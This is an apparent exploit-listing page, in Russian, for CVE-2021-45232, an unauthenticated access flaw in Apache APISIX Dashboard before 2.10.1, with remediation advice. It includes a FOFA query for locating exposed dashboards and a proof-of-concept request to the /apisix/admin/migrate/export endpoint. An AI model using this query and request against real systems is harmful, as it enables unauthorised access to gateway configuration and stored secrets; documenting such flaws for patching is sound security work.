Exploit for CVE-2021-45232 CVE-2021-4523 CVE-2021-45232

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-LTIDI2000-CVE-2021-45232
# Уязвимость неавторизованного доступа Apache APISIX Dashboard (CVE-2021-45232)

## Запрос FOFA

title="Apache APISIX Dashboard"

## Затронутые версии

Apache APISIX Dashboard < 2.10.1

## POC:

root@kitploit:~
    
    
    IP:PORT/apisix/admin/migrate/export
    

![image](https://raw.githubusercontent.com/pingpongcult/CVE-2021-4523/main/CVE-2021-45232.png)

## Рекомендации по устранению

  * Обновите Apache APISIX Dashboard до последней безопасной версии 2.10.1: https://github.com/apache/apisix-dashboard/releases/tag/v2.10.1

  * Измените имя пользователя и пароль по умолчанию, а также настройте белый список для доступа к Apache APISIX Dashboard.




## Справочные ссылки